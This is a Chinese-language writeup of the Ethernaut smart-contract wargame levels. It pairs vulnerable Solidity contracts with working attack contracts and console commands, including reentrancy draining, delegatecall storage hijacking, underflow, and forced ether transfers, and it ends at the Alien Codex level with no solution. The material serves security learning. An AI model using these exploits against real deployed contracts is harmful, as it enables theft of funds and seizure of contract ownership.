Ethernaut Writeup

Ethernaut Writeup

Java 太卷了, 找点新的学习方向, 学习一些 Blockchain 的内容

区块链 (Blockchain) 现如今的生态很大一部分都要归功于以太坊 (Ethereum), 基于以太坊的编程语言是 Solidity

Solidity 是一种强类型的静态语言, 语法上类似 JavaScript, 用于编写智能合约, 其编译后的内容被称为 EVM 字节码

智能合约是一种运行在以太坊区块链上的程序, 其运行环境被称为 EVM (Ethereum Virtual Machine)

Ethernaut 是一套由 OpenZeppelin 提供的智能合约漏洞靶场

官网: https://ethernaut.openzeppelin.com/

GitHub: https://github.com/OpenZeppelin/ethernaut

花了一段时间全部刷完了, 题目质量很高, 截图纪念一下

Fallback

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

条件:

  1. 获得这个合约的所有权
  2. 把他的余额减到 0

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
// transfer 1 wei when invoking contribute method
await contract.contribute({value: 1});

// transfer 1 wei, and the receive method will be invoked
await contract.sendTransaction({value: 1});
// also: await contract.send(1)

// check owner address
await contract.owner()

// withdraw all balance
await contract.withdraw();

// check contract balance
await getBalance(contract.address);

Fallout

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;

    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

条件: 获得合约所有权

旧版 Solidity 的 construtor 需要使用与合约同名的方法来定义, 而, 这里的 Fal1out 和合约名 Fallout 对不上, 所以并不是 constructor, 因此可以任意调用

Solution

1
2
3
4
5
// owner is 0x0000000000000000000000000000000000000000
await contract.owner();

// set owner
await contract.Fal1out();

Coin Flip

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

条件: 需要连续猜对十次 (consecutiveWins = 10)

考察伪随机数, block.number 在区块链上是公开的, 也就是说可以预测 side 的值

至于为什么是 block.number - 1 然后计算 blockhash

https://stackoverflow.com/questions/76926259/solidity-how-to-get-latest-mined-blocks-number-and-hash-value

只需要部署一个合约, 然后在该合约内调用 CoinFlip 合约的 flip 方法, 这样就能保证两个合约获取到的 block.number 完全一致, 然后每隔一段时间执行, 连续执行十次即可

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
    address addr;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    event Result(bool, bool);

    constructor(address _addr) {
        addr = _addr;
    }

    function flip() external {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        (bool success, bytes memory data) = addr.call(abi.encodeWithSignature("flip(bool)", side));
        emit Result(success, abi.decode(data, (bool)));
    }
}

Telephone

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

条件: 获得合约所有权

tx.origin: 交易的发起人

msg.sender: 合约的调用者

例如 A (EOA) -> B (contract) -> C (contract), 那么对于合约 C 来说, tx.origin 为外部账户 A 的地址, 而 msg.sender 为合约 B 的地址

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ...

contract Attack {
    Telephone telephone;
    address owner;

    constructor(address _addr) {
        telephone = Telephone(_addr);
        owner = msg.sender;
    }

    function changeOwner() external {
        telephone.changeOwner(msg.sender);
    }
}

Token

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

条件: 增加代币数量

Solidity < 0.8 时没有内置 SafeMath 库, 存在经典的整数溢出问题

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// total supply is 21000000
await contract.totalSupply();

// current balance is 20
await contract.balanceOf(player);

// int overflow
await contract.transfer("0x0000000000000000000000000000000000000001", "200");

// current balance is 115792089237316195423570985008687907853269984665640564039457584007913129639756
(await contract.balanceOf(player)).toString();

Delegation

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

条件: 申明你对你创建实例的所有权

https://solidity-by-example.org/delegatecall/

Solidity By Example 对 delegatecall 的解释我感觉是最简洁的

delegatecall is a low level function similar to call.

When contract A executes delegatecall to contract B, B’s code is executed

with contract A’s storage, msg.sender and msg.value.

这题需要通过 delegatecall 将 Delegation 合约的 owner 改成自己

Solution

1
2
3
4
5
// selector of pwn method is 0xdd365b8b
await contract.sendTransaction({data: "0xdd365b8b"});

// check owner
await contract.owner();

Force

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

条件: 使合约的余额大于 0

https://medium.com/@alexsherbuck/two-ways-to-force-ether-into-a-contract-1543c1311c56

https://ethereum.stackexchange.com/questions/128021/how-to-send-ether-to-a-contract-even-if-the-contract-doesnt-implement-receive

两种方法

  1. 使用 selfdestruct 强制将某一合约的 balance 转移到目标合约
  2. 在目标合约创建前预测其地址, 然后提前往该地址转账

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ...

contract Attack {
    function forceTransfer(address payable _addr) payable external {
        selfdestruct(_addr);
    }
}

Vault

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

条件: 打开 Vault (locked = false)

虽然 password 的修饰符是 private, 但在区块链上合约的所有信息都是公开的

在 Etherscan 上可以看到题目合约的状态变化

https://sepolia.etherscan.io/tx/0xb56a43ed128ddb51e731a7926bc0d1f5c142e0bc8e252037d3ecff19fdfa853e#statechange

或者使用 getStorageAt

https://ethereum.stackexchange.com/questions/13910/how-to-read-a-private-variable-from-a-contract

Solution

1
2
3
4
5
6
7
8
// get password
await web3.eth.getStorageAt(instance, 1);

// unlock the vault
await contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29");

// check locked state
await contract.locked();

King

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

条件: 当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关

当前 prize 的值为 0.001 eth

1
2
// 0.001 eth
fromWei((await contract.prize()).toString());

transfer 转账时如果遇到错误会 revert, 根据这个特性可以使得某个恶意合约成为 king, 该合约的 receive 方法始终 revert

这样其他人在获取王位的时候, 题目合约就会将当前转入的金额 transfer 给恶意合约, 而后者始终 revert, 导致整个方法调用无法成功, 也就保留住了王位

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ...

contract Attack {
    receive() external payable {
        revert("Error");
    }

    function claimKing(address payable addr) external payable {
        addr.call{value: 0.0011 ether}("");
    }
}

Re-entrancy

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

条件: 偷走合约的所有资产

合约当前 balance

1
2
// 0.001 ether
await getBalance(instance);

经典的重入攻击

注意题目使用的 Solidity 版本为 0.6.x, 这个版本不存在溢出检查, 因此 withdraw 方法的 balances[msg.sender] -= _amount 语句存在溢出风险, 这也是能执行重入的前提

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/8e0296096449d9b1cd7c5631e917330635244c37/contracts/math/SafeMath.sol";

// ...

contract Attack {
    Reentrance r;
    uint256 amount = 0.001 ether;

    constructor(address payable addr) public {
        r = Reentrance(addr);
    }

    receive() external payable {
        if (address(r).balance >= amount) {
            r.withdraw(amount);
        }
    }

    function attack() external payable {
        r.donate{value: amount}(address(this));
        r.withdraw(amount);
    }

    function withdraw() external {
        msg.sender.transfer(address(this).balance);
    }
}

Elevator

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

条件: 达到大楼顶部 (top = true)

Elevator 合约会调用两次 isLastFloor 方法, 只有当这两次的调用结果返回不同的值时, top 才会被设置成为 true

只需要用一个状态变量保存调用次数即可

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

// ...

contract MyBuilding is Building {
    uint8 n = 0;

    function isLastFloor(uint256 /*_floor*/) external returns (bool b) {
        if (n == 0) {
            b = false;
        } else {
            b = true;
        }
        n += 1;
    }

    function elevate(address _addr) external {
        Elevator elevator = Elevator(_addr);
        elevator.goTo(1);
    }
}

Privacy

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
    */
}

条件: 解开合约 (locked = false)

需要了解 Solidity 的 storage layout 和 type casting

https://cylab.be/blog/334/solidity-abi-encoding-explained

https://medium.com/@flores.eugenio03/exploring-the-storage-layout-in-solidity-and-how-to-access-state-variables-bf2cbc6f8018

https://medium.com/coinmonks/learn-solidity-lesson-22-type-casting-656d164b9991

Solidity 会将 storage 数据类型存储在一个长度为 2^256 次方的超大型数组内部, 数组的元素被称为 slot, 每个 slot 长度为 32 字节 (bytes32)

根据合约内状态变量的定义顺序, 会将其从小到大安排到对应的 slot

如果某些变量单个的长度不足 32 字节, 则会在总长度允许 (小于 32 字节) 的情况下将它们打包至同一个 slot 内部

通过 Etherscan 查看创建合约的 transaction

slot variable value
0 locked (1 byte) 0x01
1 ID (32 bytes) 0x6624eff4
2 awkwardness (2 bytes) + denomination (1 byte) + flattening (1 byte) 0xeff4, 0xff, 0x0a
3 data[0] (32 bytes)
4 data[1] (32 bytes)
5 data[2] (32 bytes)

可以看到 slot 2 内打包了多个变量, 按照其定义时的顺序从右往左排布

题目需要拿到 bytes16(data[2]), 也就是 data[2] 的前 16 个字节

Solution

1
2
3
4
5
// unlock
await contract.unlock("0x1fd591a77bc974506393fb50d2b9280f");

// check
await contract.locked();

Gatekeeper One

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

条件: 注册为一个参赛者 (entrant = tx.origin)

gateOne 很简单, 先看 gateThree, 传入的 gateKey (8 bytes, 64 bits) 需要满足三个条件

  1. 低位 4 bytes (32 bits) == 低位 2 bytes (16 bits)
  2. 低位 4 bytes (32 bits) != 高位 4 bytes (32 bits)
  3. 低位 4 bytes (32 bits) == tx.origin 的低位 2 bytes (16 bits)

其实就是将某个数和 tx.origin 做与运算, 即 0xffffffff0000ffff

然后 gateTwo 被调用时需要当前剩余的 gas 能够被 8191 整除

一种方法是手动调试计算 gas 数量, 但是受限于编译器的版本和各种优化, 做起来比较恶心

另一种方法是爆破, 具体的参数的设置还得根据实际场景具体分析, 不过这已经比上面的方法要好很多的, 多试试就行

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ...

contract Attack {
    function attack(address addr) external returns (bool) {
        GatekeeperOne g = GatekeeperOne(addr);
        bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0xffffffff0000ffff;

        for (uint i = 0; i < 500; i ++) {
            try g.enter{gas: 8191 * 3 + i}(gateKey) returns (bool result) {
                return result;
            } catch { }
        }

        return false;
    }
}

Gatekeeper Two

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        uint256 x;
        assembly {
            x := extcodesize(caller())
        }
        require(x == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

条件: 注册为一个参赛者 (entrant = tx.origin)

gateOne 通过 tx.origin 和 msg.sender 检查调用方是否为合约

gateTwo 也是 OpenZeppelin 第三方库旧版本判断某个地址否为合约的方式, 但是这个逻辑存在缺陷, 即

  • extcodesize > 0: 目标地址一定为合约
  • extcodesize = 0: 目标地址可能为合约 (call from constructor) 或外部账户

https://ethereum.stackexchange.com/questions/15641/how-does-a-contract-find-out-if-another-address-is-a-contract

gateThree 是一个简单的异或, 根据异或两次会变成原来的值的特性将 msg.sender 与 0xffffffffffffffff 异或即可

Solution

1
2
3
4
5
6
7
contract Attack {
    constructor(address addr) {
        GatekeeperTwo g = GatekeeperTwo(addr);
        bytes8 gateKey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xffffffffffffffff;
        g.enter(gateKey);
    }
}

Naught Coin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
    // string public constant name = 'NaughtCoin';
    // string public constant symbol = '0x0';
    // uint public constant decimals = 18;
    uint256 public timeLock = block.timestamp + 10 * 365 days;
    uint256 public INITIAL_SUPPLY;
    address public player;

    constructor(address _player) ERC20("NaughtCoin", "0x0") {
        player = _player;
        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
        // _totalSupply = INITIAL_SUPPLY;
        // _balances[player] = INITIAL_SUPPLY;
        _mint(player, INITIAL_SUPPLY);
        emit Transfer(address(0), player, INITIAL_SUPPLY);
    }

    function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
        super.transfer(_to, _value);
    }

    // Prevent the initial owner from transferring tokens until the timelock has passed
    modifier lockTokens() {
        if (msg.sender == player) {
            require(block.timestamp > timeLock);
            _;
        } else {
            _;
        }
    }
}

条件: 将您的代币余额变为 0

ERC-20 标准支持将一定数量的代币授权 (approve) 给某个地址 (被授权方), 然后被授权方就能够使用 transferFrom 支配授权方的代币

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// current balance: 1000000000000000000000000
(await contract.balanceOf(player)).toString();

// approve to another contract
await contract.approve("0x148258832f9925fC21Cf5B13d5aE21EE1e6ce1F0", "1000000000000000000000000");

// invoke Attack.attack()

// check balance again
(await contract.balanceOf(player)).toString();

another contract

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC20/ERC20.sol";

contract Attack {
    function attack(address addr) external {
        ERC20 coin = ERC20(addr);
        uint256 balance = coin.balanceOf(msg.sender);
        coin.transferFrom(msg.sender, address(this), balance);
    }
}

Preservation

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint256 _timeStamp) public {
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }

    // set the time for timezone 2
    function setSecondTime(uint256 _timeStamp) public {
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime;

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

条件: 尝试取得合约的所有权

考察 delegatecall 以及 EVM Storage Layout

delegatecall 的原理是根据状态变量的定义顺序去寻找被调用合约对应的 slot 位置, 然后进行访问和修改

而给出的 LibraryContract 与 Preservation 状态变量的定义顺序并不相同, 因此调用 LibraryContract 的 setTime 方法实际上修改的是 LibraryContract 的 timeZone1Library

timeZone1Library 长度为 20 bytes, delegatecall 传入的 _timeStamp 为 32 bytes, bytes20 转换成 bytes32 的时候会往低位补 0

所以可以利用这个缺陷将 timeZone1Library 修改为恶意合约的地址, 然后再通过恶意合约修改 owner 地址

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract EvilLibraryContract {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;

    function setTime(uint256 /*_time*/) public {
        owner = msg.sender;
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// write EvilLibraryContract address
await contract.setFirstTime("0x25e85981bBF08E2Bb6c5eBCa4ffFAd664B371f0f");

// check address
await contract.timeZone1Library();

// invoke EvilLibraryContract.setTime() via delegatecall
await contract.setFirstTime("123");

// check owner
await contract.owner();

Recovery

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
    //generate tokens
    function generateToken(string memory _name, uint256 _initialSupply) public {
        new SimpleToken(_name, msg.sender, _initialSupply);
    }
}

contract SimpleToken {
    string public name;
    mapping(address => uint256) public balances;

    // constructor
    constructor(string memory _name, address _creator, uint256 _initialSupply) {
        name = _name;
        balances[_creator] = _initialSupply;
    }

    // collect ether in return for tokens
    receive() external payable {
        balances[msg.sender] = msg.value * 10;
    }

    // allow transfers of tokens
    function transfer(address _to, uint256 _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] = balances[msg.sender] - _amount;
        balances[_to] = _amount;
    }

    // clean up after ourselves
    function destroy(address payable _to) public {
        selfdestruct(_to);
    }
}

条件: 设法调用题目事先部署好的 SimpleToken 合约 (地址未知) 的 destroy 方法

Etherscan 可以看到合约创建合约的 transaction

https://sepolia.etherscan.io/tx/0x930948bc8c148ad1b2366df8d38ea2710c3b229293e9ae6cf319a4b0748387c1#internal

https://sepolia.etherscan.io/address/0x5e528c4ca6926fc5f33f05614d366f63d0e11559

另一种方式是通过 Recovery 的地址计算出 SimpleToken 的地址

https://learnblockchain.cn/2019/06/10/address-compute/

1
2
3
4
import web3
# keccak256(address, nonce)
print(web3.Web3.keccak(rlp.encode([0x157760ae6a14880c48397d35f570e7bbf57744ef,1]))[12:])
# 0x5e528c4ca6926fc5f33f05614d366f63d0e11559

Solution

MagicNumber

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/ SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNum {
    address public solver;

    constructor() {}

    function setSolver(address _solver) public {
        solver = _solver;
    }

    /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
    */
}

条件: 提供一个合约地址, 该合约最多包含 10 个 opcode, 并在调用 whatIsTheMeaningOfLife 方法时返回数字 42

开摆了, 直接看 writeup

https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

https://medium.com/zeppelin-blog/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737

https://medium.com/zeppelin-blog/deconstructing-a-solidity-contract-part-ii-creation-vs-runtime-6b9d60ecb44c

https://medium.com/zeppelin-blog/deconstructing-a-solidity-contract-part-iii-the-function-selector-6a9b6886ea49

https://medium.com/zeppelin-blog/deconstructing-a-solidity-contract-part-iv-function-wrappers-d8e46672b0ed

https://medium.com/zeppelin-blog/deconstructing-a-solidity-contract-part-v-function-bodies-2d19d4bef8be

https://medium.com/zeppelin-blog/deconstructing-a-solidity-contract-part-vi-the-swarm-hash-70f069e22aef

合约创建的过程

代码分为两部分

  • initialization code
  • runtime code

具体讲解看文章就行, 这里就不多说了

runtime code

1
2
3
4
5
6
PUSH1 0x2a ; store 42 in memory
PUSH1 0x80
MSTORE
PUSH1 0x20 ; return the memory address of 42
PUSH1 0x80
RETURN

转成 hex 刚好 10 bytes

1
602a60805260206080f3

根据上面几篇文章里介绍的原理, 编写 runtime code 的时候其实无需考虑具体的方法名是什么 (whatIsTheMeaningOfLife)

因为 EVM 执行字节码时永远都是从上至下执行, 而正常合约字节码的开头会根据 calldata 内 selector 的值 JUMPI 到特定的位置, 以此实现不同方法的调用 (路由)

对于这题来说, 只需要返回 42 就行 (RETURN), 也就无需加入针对 selector 的判断

initialization code

1
2
3
4
5
6
7
PUSH1 0x0a ; copy runtime code to memory
PUSH1 0x0c
PUSH1 0x00
CODECOPY
PUSH1 0x0a ; return the memory address of code
PUSH1 0x00
RETURN

hex

1
600a600c600039600a6000f3

最终 hex, 前 12 bytes 为 initialization code, 后 10 bytes 为 runtime code

1
0x600a600c600039600a6000f3602a60805260206080f3

Solution

1
2
3
4
5
// deploy contract
await web3.eth.sendTransaction({from: player, data: "0x600a600c600039600a6000f3602a60805260206080f3"});

// setSolver
await contract.setSolver("0x970AbBa7dFEf31C7A14F53d0aF4DAcb714aDb895");

Alien Codex

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

条件: 申明所有权

